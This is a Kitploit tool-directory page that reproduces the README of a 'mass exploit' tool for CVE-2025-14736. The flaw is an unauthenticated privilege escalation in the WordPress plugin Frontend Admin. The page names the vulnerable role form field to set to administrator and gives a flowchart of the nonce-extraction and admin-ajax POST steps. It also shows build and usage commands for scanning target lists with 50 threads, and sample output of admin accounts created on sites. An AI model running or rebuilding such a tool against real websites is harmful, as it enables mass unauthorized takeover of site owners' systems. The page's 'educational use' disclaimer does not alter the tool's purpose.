Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-14736 — Unauthenticated Privilege Escalation to Administrator via Role Form Field | Kitploit
Tools/GitHubGitHub/hyunchiya/cve-2025-14736
Privilege EscalationPassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubhyunchiya/cve-2025-14736

CVE-2025-14736

Unauthenticated Privilege Escalation to Administrator via Role Form Field

View Repository
28 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-14736

Frontend Admin by DynamiApps - Unauthenticated Privilege Escalation

Author: Hyun Chiya


Vulnerability Information

FieldValue
CVE IDCVE-2025-14736
PluginFrontend Admin by DynamiApps
Affected Versions<= 3.28.25
Vulnerability TypeUnauthenticated Privilege Escalation
SeverityCritical

Description

The Frontend Admin plugin for WordPress is vulnerable to unauthenticated privilege escalation due to insufficient validation on user-controlled fields during registration. Attackers can inject arbitrary roles, including administrator, by manipulating the form submission payload.

Root Cause Analysis

The vulnerable logic resides in the handling of form submissions where the role field is trusted from user input without verifying if the user is authorized to assign that role. Specifically, the field acff[user][field_user_role_ID] can be modified to administrator.

Exploitation Flow

root@kitploit:~
flowchart TD
    A["Attacker visits Registration Page"] --> B["Extract Nonce (_acf_nonce) & Form ID (_acf_form)"]
    B --> C["Construct POST payload with 'role'='administrator'"]
    C --> D["POST to /wp-admin/admin-ajax.php"]
    D --> E{"Verification"}
    E -->|Success| F["New Admin User Created"]
    
    style F fill:#ff6b6b,stroke:#c92a2a,color:#fff

Prerequisites

  1. Target has "Frontend Admin" plugin installed (vulnerable version).
  2. A frontend registration form is enabled and accessible.

Build

root@kitploit:~
go build -o mass_exploit.exe mass_exploit.go

Usage

Mass Scan & Exploit

root@kitploit:~
.\mass_exploit.exe -l list.txt -t 50

Options

ArgumentDescription
-lPath to list of target URLs (default: list.txt)
-tNumber of concurrent threads (default: 10)
-timeoutRequest timeout in seconds (default: 15)

Example Output

root@kitploit:~
>> [ ONLINE ]    
    ╔═══════════════════════════════════════════════════════════════════════════════════════╗
    ║   CVE-2025-14736 - Mass Exploit Tool                                                  ║
    ║   Frontend Admin by DynamiApps Privilege Escalation                                   ║
    ║   Author: Hyun Chiya                                                                  ║
    ╚═══════════════════════════════════════════════════════════════════════════════════════╝

>> [ INFORMATION ]
[*] Loaded 500 targets. Starting scan with 50 threads...

[SUCCESS] http://target.com | User: hacker_mass | Pass: Password123! | FormID: 48
[SUCCESS] http://example.org | User: hacker_mass | Pass: Password123! | FormID: 32

[*] Scan complete.

Disclaimer

This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Use responsibly.

Author

Hyun Chiya

Download Tool